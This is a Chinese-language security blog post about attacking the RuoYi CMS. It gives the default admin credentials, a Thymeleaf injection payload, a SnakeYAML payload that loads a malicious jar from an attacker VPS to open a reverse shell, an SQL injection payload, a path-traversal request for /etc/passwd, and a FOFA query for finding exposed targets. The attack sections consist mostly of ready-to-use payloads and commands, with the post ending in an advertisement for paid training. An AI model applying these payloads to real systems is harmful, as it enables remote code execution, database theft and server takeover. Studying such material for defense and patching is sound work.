RuoYI CMS漏洞利用面面观

admin 2022年6月28日09:49:31安全文章评论52 views2845字阅读9分29秒阅读模式

声明

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!

目录

  • RuoYI CMS 环境搭建

    • 源码地址

    • 操作步骤

  • RuoYI CMS 简介

  • RuoYI CMS 漏洞利用

    • RuoYI 后台默认口令

    • Thymeleaf表达式注入

    • YAML代码执行

    • SQL注入

    • 任意文件上传

    • 其他漏洞利用点

  • RuoYI CMS 指纹特征

    • UI

    • 网页源码

RuoYI CMS 环境搭建

源码地址

https://gitee.com/y_project/RuoYi

使用IDEA打开源码后,按如下操作配置项目

操作步骤

配置Maven(需提前下载安装)

RuoYI CMS漏洞利用面面观

配置数据库连接信息

RuoYI CMS漏洞利用面面观

配置RuoYI后台HTTP服务的端口

RuoYI CMS漏洞利用面面观

安装sql文件

需提前启动mysql,并创建数据库

create database ry

需安装 quartz.sql 以及 ry_20201017.sql

RuoYI CMS漏洞利用面面观

Reload project

RuoYI CMS漏洞利用面面观

启动项目

RuoYI CMS漏洞利用面面观

访问localhost:81即可看到RuoYI后台

RuoYI CMS漏洞利用面面观

RuoYI CMS 简介

RuoYI CMS 的技术栈

  • 核心框架: Spring Boot

  • 安全框架: Apache Shiro

  • 模板引擎: Thymeleaf

  • 持久层框架: MyBatis

  • 定时任务: Quartz

  • 数据库连接池: Druid

  • 工具类: Fastjson

  • 其他

RuoYI在攻防中的出现频率较高,因此研究多种利用方式,有助于在攻防或项目上时快速对RuiYI的脆弱点进行测试

fofa语法: app="RuoYi"

RuoYI CMS漏洞利用面面观

RuoYI CMS 漏洞利用

RuoYI 后台默认口令

admin/admin123

Thymeleaf表达式注入

Ruoyi使用了thymeleaf-spring5,其中以下四个接口方法中设置了片段选择器:

/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task

但不同版本中的

Payload

?fragment=hader(${T (java.lang.Runtime).getRuntime().exec("open -a Calculator.app")})

攻击流程

payload拼接到上述的四个接口中的任意一个后,并将payload的所有字符进行URL编码,要执行的命令写在exec()函数内

RuoYI CMS漏洞利用面面观

YAML代码执行

所需工具

  • yaml-payload: https://github.com/artsploit/yaml-payload.git
  • jdk环境: 用于修改payload后重新编译java源码,并打包成jar
  • 一台vps: 搭建HTTPFTP等服务,用于存放修改后的恶意的jar包,让RuoYI能找到、加载并执行其中的恶意代码

payload

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://攻击机ip/yaml-payload.jar"]
]]
]')

攻击流程

获取yaml-payload
git clone https://github.com/artsploit/yaml-payload.git
vps监听端口
nc -lvtp 2333
修改payload中的命令

修改/src/artsploit/AwesomeScriptEngineFactory.java

exec()方法中的IP地址和端口替换为vps监听的IP地址端口

RuoYI CMS漏洞利用面面观
将源码打包成jar文件
cd yaml-payload

javac src/artsploit/AwesomescriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .
RuoYI CMS漏洞利用面面观

打包完成后,会得到一个yaml-payload.jar文件

将其放到vps上的HTTP目录下

*** 获取部署HTTP服务 ***

// 一、安装Apache(推荐)或Nginx服务
将 yaml-payload.jar 放到 /var/www/html/ 目录下

// 二、使用Python部署HTTP服务
python3 -m http.server 8000 // HTTP的端口即是8000,HTTP的目录就是当前执行python命令的目录
新建定时任务

RuoYI后台的 系统监控 --> 定时任务菜单下,点击新增

按照如下方式填入数据

其中要调用的目标字符串为:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://49.235.66.165/yaml-payload.jar"]
]]
]')
RuoYI CMS漏洞利用面面观
获取shell

新增完成后,点击更多操作 --> 执行一次

RuoYI CMS漏洞利用面面观

此时可以发现vps上收到了反弹过来的shell

RuoYI CMS漏洞利用面面观

SQL注入

影响版本

RuoYI < 4.6.1

payload

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select version()),0x7e))

攻击流程

访问RuoYI后台的系统管理 --> 角色管理菜单,点击搜索并抓包

RuoYI CMS漏洞利用面面观

请求体的数据替换为上述的payload

可以发现成功注入,获取到了数据库信息

RuoYI CMS漏洞利用面面观

任意文件上传

影响版本

RuoYI < v4.5.1

payload

/common/download/resource?resource=/profile/../../../../etc/passwd

攻击流程

访问payload后,即可下载对应的服务端文件

其他漏洞利用点

Shiro反序列化

影响版本

RuoYI < 4.2.0

4.2.0版本前,若依未修复Shiro的反序列化问题

RuoYI CMS漏洞利用面面观

Druid 口令爆破(或未授权访问)

DruidRuoYI默认的数据库连接池,若能够破解Druid或未授权访问该接口,则可以获取到数据库、SQL等敏感信息

RuoYI CMS漏洞利用面面观

内存马

关注隐雾安全 培训班 ,购买 进阶课程 解锁

RuoYI CMS 指纹特征

UI

RuoYI后台的UI界面牢牢刻在DNA中,以后遇到类似的界面,就可以合理怀疑使用是RuoYI或对RuoYI的二次开发平台

RuoYI CMS漏洞利用面面观

网页源码

网页源码中若存在ry-ui,则可以确定是RuoYI

RuoYI CMS漏洞利用面面观

该方法可能还能获取RuoYI的版本v=x.x.x


隐雾安全

隐雾,是一个旨在为网络安全从业者提供专业的网络安全技术就业指导的专业团队,后期会开展专业的培训课程。

我们是以就业为导向的网络技术培训,整个课程安排旨在让各个级别的学生能从入门到精通,并配备他们进入网络安全领域所需的必备技能。

详情请添加客户人员:

RuoYI CMS漏洞利用面面观


原文始发于微信公众号(七芒星实验室):RuoYI CMS漏洞利用面面观

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月28日09:49:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  RuoYI CMS漏洞利用面面观 http://cn-sec.com/archives/1139767.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: